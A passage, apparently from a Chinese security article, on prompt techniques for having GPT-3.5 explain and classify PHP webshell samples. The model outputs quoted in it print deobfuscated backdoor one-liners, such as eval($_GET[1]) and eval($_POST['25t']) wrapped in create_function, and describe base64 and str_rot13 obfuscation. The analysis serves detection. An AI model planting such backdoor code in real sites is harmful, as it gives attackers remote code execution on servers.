shell(r_action_removeshell())。获取登录链接(r_action_loginurl())。获取php.ini配置信息(r_action_ini())。任务3:在任务2样本行为描述总结的基础上,给出一个概括性的描述,并回答三个方面的问题: 1)这段代码做了什么?2)如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3)如果这段代码存在严重恶意行为,请回答怎么处置这个文件。这段代码是一个针对WordPress站点的后门程序,可以连接数据库并执行查询,启用插件,移除Web shell,获取登录链接和php.ini配置信息等操作。如果这段代码存在严重恶意行为,可以根据以下依据判定为恶意样本:代码中包含获取密码哈希值的常量定义,并且常量值是固定的,可以被黑客轻易破解。代码中包含移除Web shell和获取登录链接等操作,这些操作可以被黑客用于恶意攻击。代码中使用了eval()和assert()等危险的函数,可以被黑客用于执行任意代码。如果这段代码存在严重恶意行为,可以删除该文件,并对站点进行全面的安全检查、修复和加固。建议站长定期备份站点数据和代码,以便在遭受攻击时快速恢复站点。同时,建议站长加强站点安全性,采取多种防御手段,如使用安全插件、更新系统和软件补丁、加强密码管理等。
0x2:Tactic 2:instruct the model to work out its own solution before rushing to a conclusion

指示模型在匆忙做出结论之前思考解决方案,即让模型在进行概括、总结、推理之前,先重新计算一遍输入内容的逻辑过程。

// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符。在分析之前,请按照如下方法对代码进行预处理。1. 合并字符串拼接结果2. 将变量替换到对应的值内容预处理完成后,我需要你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ```  ```// gpt-3.5 output: 预处理后的代码为:eval($_GET[1]);这段代码定义了三个变量$a、$b、$c,$a的值为字符串"eva",$b的值为字符串"l",$c的值为$a和$b的拼接结果。最后一行通过调用$c变量中保存的函数来执行传入的GET参数中键为1的值。因为$c变量的值为$a和$b的拼接结果,所以最后执行的实际上是"eval"函数。这段代码的实际作用是执行传入的GET参数中键为1的值作为PHP代码。这段代码存在严重的恶意行为,因为它接受任意传入的GET参数作为代码来执行,攻击者可以通过传入恶意代码来控制服务器或窃取数据。这段代码被判定为恶意样本的依据是它使用了eval函数来执行传入的GET参数中的代码,且没有任何对于传入参数的过滤或限制。处置这个文件的方法应该是彻底删除它,因为它是一个明显的安全漏洞。如果这个文件是被攻击者上传到服务器上的,应该对服务器进行全面的安全检查,确保没有其他恶意文件存在,并对服务器的安全设置进行加固。如果发现攻击者利用这个安全漏洞进行攻击,应该立即停止服务器的运行并联系专业的安全团队进行进一步处理。
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符。在分析之前,请按照如下方法对代码进行预处理。1. 合并字符串拼接结果2. 将变量替换为对应的值内容或者右值内容3. 将变量函数调用替换为对应的值内容或者右值内容预处理完成后,我需要你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。代码为:  ``````// gpt-3.5 output: 预处理后的代码为:echo "a5a5aa555o";$fOgT = create_function("$_POST["25t"]", "eval($_POST["25t"]);");$fOgT("936437;@eval($_POST["25t"]);2809311;");这段代码首先使用echo语句输出字符串"a5a5aa555o"。接着使用create_function函数创建一个名为$fOgT的匿名函数,函数体中只有一行代码,即执行POST参数中键为"25t"的值作为PHP代码。最后使用$fOgT函数执行一个字符串,该字符串中包含了两个eval语句,第一个eval语句的参数同样为POST参数中键为"25t"的值,第二个eval语句的参数为一个字符串"eval($_POST["25t"]);"。这段代码被判定为恶意样本的依据是它使用了两个eval函数来执行传入的POST参数中的代码,同时没有对于传入参数的过滤或限制。攻击者可以通过传入恶意代码来控制服务器或窃取数据。处置这个文件的方法应该是彻底删除它,因为它是一个明显的安全漏洞。如果这个文件是被攻击者上传到服务器上的,应该对服务器进行全面的安全检查,确保没有其他恶意文件存在,并对服务器的安全设置进行加固。如果发现攻击者利用这个安全漏洞进行攻击,应该立即停止服务器的运行并联系专业的安全团队进行进一步处理。
四、Principle 3 - Add more constraints0x1:Limit output text length
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。注意,请将输出的结果长度限制在128字符以内。代码为:  ``````// gpt-3.5 output: 这段代码首先输出了一个字符串"a5a5aa555o111",然后定义了一个变量$fOgT,将一个匿名函数赋值给它。这个匿名函数实际上是通过调用create_function函数创建的,这个函数的参数是一个字符串,该字符串由base64解码后的"eval"函数名、一个通过除法运算得到的数字、两个str_rot13函数分别对应字母"b"和"z"的调用、以及一个通过减法运算得到的数字组成。这个字符串最终被解析成一个包含"eval"函数调用的字符串。接下来,匿名函数中又定义了一个字符串,该字符串由一个通过除法运算得到的数字、base64解码后的"vn"、一个str_rot13函数对应字母"n"的调用、两个通过减法运算得到的数字、三个base64解码后的字符串以及一个str_rot13函数对应字符")"组成。最后,匿名函数调用了刚才定义的字符串,并将结果作为参数传递给了"eval"函数。这段代码被判定为恶意样本的依据是:它动态生成了一个包含"eval"函数调用的字符串,并通过匿名函数的方式执行了这个字符串,可能导致恶意代码的执行。处置这个文件的方法是将其删除。
0x2:Limit the depth of content expansion
// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。注意,你面向的用户是专业的技术人员,所以请输出更多底层和技术细节和原理性描述。代码为:  ``````// gpt-3.5 output: 这段代码首先输出了一个字符串"a5a5aa555o111",然后定义了一个变量$fOgT,将一个匿名函数赋值给它。这个匿名函数实际上是通过调用create_function函数创建的,这个函数的参数是一个字符串,该字符串由base64解码后的"eval"函数名、一个通过除法运算得到的数字、两个str_rot13函数分别对应字母"b"和"z"的调用、以及一个通过减法运算得到的数字组成。这个字符串最终被解析成一个包含"eval"函数调用的字符串。接下来,匿名函数中又定义了一个字符串,该字符串由一个通过除法运算得到的数字、base64解码后的"vn"、一个str_rot13函数对应字母"n"的调用、两个通过减法运算得到的数字、三个base64解码后的字符串以及一个str_rot13函数对应字符")"组成。最后,匿名函数调用了刚才定义的字符串,并将结果作为参数传递给了"eval"函数。这段代码被判定为恶意样本的依据是:它动态生成了一个包含"eval"函数调用的字符串,并通过匿名函数的方式执行了这个字符串,可能导致恶意代码的执行。具体来说,它使用了一些字符串混淆和编码的技巧,使得代码不易被发现和识别,且使用了"eval"函数执行字符串,这使得攻击者可以在运行时动态生成恶意代码并执行,从而绕过常规的安全检测和过滤机制,对服务器进行攻击和控制。处置这个文件的方法是将其删除。此外,也需要对服务器进行全面的安全检查和修复,以防止其他可能的安全漏洞和后门被利用。可以使用杀毒软件和安全扫描工具对服务器进行深度扫描和清理。在应用程序中,可以使用安全编码和防御措施,例如输入验证、输出过滤、密码加密、访问控制等,以提高应用程序的安全性。

增加关于污点传播方面的描述指示,

// prompt input: 你是一个安全专家,我会给你一段代码,代码使用```code```作为分隔符,你要从三个方面回答我的问题。1. 请逐行解释下这段代码做了什么?2. 如果这段代码存在严重恶意行为,请论述这段代码被判定为恶意样本的依据。3. 如果这段代码存在严重恶意行为,请回答怎么处置这个文件。注意,你面向的用户是专业的技术人员,所以请输出更多关于这个样本的污点传播路径以及危险函数调用方式的描述。代码为:  ``````// gpt-3.5 output: 这段代码首先输出了一个字符串"a5a5aa555o111",然后定义了一个变量$fOgT,将一个匿名函数赋值给它。这个匿名函数实际上是通过调用create_function函数创建的,这个函数的参数是一个字符串,该字符串由base64解码后的"eval"函数名、一个通过除法运算得到的数字、两个str_rot13函数分别对应字母"b"和"z"的调用、以及一个通过减法运算得到的数字组成。这个字符串最终被解析成一个包含"eval"函数调用的字符串。接下来,匿名函数中又定义了一个字符串,该字符串由一个通过除法运算得到的数字、base64解码后的"vn"、一个str_rot13函数对应字母"n"的调用、两个通过减法运算得到的数字、三个base64解码后的字符串以及一个str_rot13函数对应字符")"组成。最后,匿名函数调用了刚才定义的字符串,并将结果作为参数传递给了"eval"函数。这段代码被判定为恶意样本的依据是:它使用了动态生成包含"eval"函数调用的字符串的方式,通过POST参数获取外部输入,可能存在安全漏洞,使攻击者可以通过输入恶意内容来完成攻击目的。具体来说,它使用了一些字符串混淆和编码的技巧,使得代码不易被发现和识别,且使用了"eval"函数执行字符串,这使得攻击者可以在运行时动态生成恶意代码并执行,从而绕过常规的安全检测和过滤机制,对服务器进行攻击和控制。此外,这段代码还通过POST参数获取外部输入,可能存在安全漏洞,使攻击者可以通过输入恶意内容来完成攻击目的。处置这个文件的方法是将其删除,并检查服务器是否存在其他类似的恶意代码和漏洞。在恶意代码的传播和污点传递方面,这段代码使用了动态生成字符串和eval函数调用的方式,使得恶意代码可以通过字符串进行编码和混淆,并且可以通过eval函数直接执行。这种方式具有很强的隐蔽性和灵活性,使得检测和防御变得更加困难。在处理这种类型的文件和代码时,需要使用静态和动态分析工具,对代码进行深度分析和检测。此外,它还通过POST参数获取外部输入,可能存在安全漏洞,使攻击者可以通过输入恶意内容来完成攻击目的。这种漏洞可能被攻击者用来传播恶意代码和控制服务器。因此,在处理这种恶意样本时,还需要对应用程序进行全面的安全检查和修复,包括输入验证、输出过滤、密码加密、访问控制等方面。同时,还需要对服务器进行全面的安全管理和监控,包括更新补丁、加强访问控制、使用防火墙和入侵检测工具等。
任务分解

从安全专家人工判断Webshell代码的方法角度,对Webshell代码解释任务问题域进行分解,对应于3中prompt形式:

一句话、简单编码样本:逐行代码解释,重点在变量的传递和还原,敏感函数调用的解释,外部可控参数的标记隐式污点传递、隐式调用的高对抗样本:源码中的字符特征往往较弱,安全人员会重点以AST污点传播日志为主,源码为辅,分析外部可控参数以及污点传播过程多功能大马(包含大量函数声明块和逻辑代码的文件,大部分大于2K bytes):安全人员主要关注函数声明以及函数调用逻辑,先通读一遍所有函数声明,对每一个函数声明形成一个summary总结,这一步基本形成了对该样本的一个整体性的描述框架,然后再阅读具体的逻辑代码,根据具体的调用序列明确该样本的实际危害和风险。

关键词:

(责任编辑:黄俊飞)

推荐内容

Back to Top